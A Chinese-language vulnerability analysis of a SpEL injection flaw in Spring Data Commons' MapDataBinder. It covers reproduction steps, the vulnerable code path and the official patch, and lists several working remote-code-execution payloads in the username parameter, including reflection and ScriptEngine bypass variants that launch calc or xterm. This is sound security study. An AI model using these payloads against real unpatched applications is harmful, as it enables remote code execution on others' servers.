今天来谈一谈某个简单的漏洞(其实是找不到深入的分析文章,并且自己也找不到思路)
Spring Data Commons是Spring系列比较流行的框架,主要目的是方便地进行CRUD操作。实际上国内的Java开发采用Spring Data系列的不多,但也不能否认它的强大。这个漏洞本质也还是SPEL的问题
下载github官方案例:git clone https://github.com/spring-projects/spring-data-examples
checkout到老版本:git checkout 05bc950a46eaa687cb3eaf0489015cea668a5013
IDEA打开自动处理完依赖后,访问http://localhost:8080/users
输入用户名密码后抓包,修改Payload,成功复现

不是很好入手分析,直接找到官方的补丁位置:org/springframework/data/web/MapDataBinder.java->setPropertyValue,下断点,看到propertyName正是payload

继续看这个方法的后续代码,初始化expression并调用setValue,典型SPEL的RCE
xxxxxxxxxx......Expression expression = PARSER.parseExpression(propertyName);......try { expression.setValue(context, value);}......反向分析,寻找哪里调用了MapDataBinder类,找到org\springframework\data\web\ProxyingHandlerMethodArgumentResolver.java的createAttribute方法
xxxxxxxxxxprotected Object createAttribute(String attributeName, MethodParameter parameter, WebDataBinderFactory binderFactory, NativeWebRequest request) throws Exception {
MapDataBinder binder = new MapDataBinder(parameter.getParameterType(), conversionService.getObject()); binder.bind(new MutablePropertyValues(request.getParameterMap()));
return proxyFactory.createProjection(parameter.getParameterType(), binder.getTarget());}SpringMVC框架的调用规则:
xxxxxxxxxxpublic void addArgumentResolvers(List<HandlerMethodArgumentResolver> argumentResolvers) {
argumentResolvers.add(sortResolver()); argumentResolvers.add(pageableResolver());
ProxyingHandlerMethodArgumentResolver resolver = new ProxyingHandlerMethodArgumentResolver(conversionService, true); resolver.setBeanFactory(context); forwardBeanClassLoader(resolver);
argumentResolvers.add(resolver);}xxxxxxxxxxpublic boolean supportsParameter(MethodParameter parameter) {
if (!super.supportsParameter(parameter)) { return false; }
Class<?> type = parameter.getParameterType();
if (!type.isInterface()) { return false; } ......这里的payload是有限制条件的,如果是下面这条将不会生效
xxxxxxxxxxusername[#T(java.lang.Runtime).getRuntime().exec('calc.exe')]使用反射可以绕过
xxxxxxxxxxusername[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")]或者参考网上大佬的方案
xxxxxxxxxxusername[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]username[(#root.getClass().forName("java.lang.ProcessBuilder").getConstructor('foo'.split('').getClass()).newInstance('shxx-cxxopen%20/Applications/Calculator.app'.split('xx'))).start()]具体原因猜测是这个版本的SPEL对关键类和方法做了限制
官方补丁:https://github.com/spring-projects/spring-data-commons/commit/ae1dd2741ce06d44a0966ecbd6f47beabde2b653
主要就是把StandardEvaluationContext换成SimpleEvaluationContext,最小权限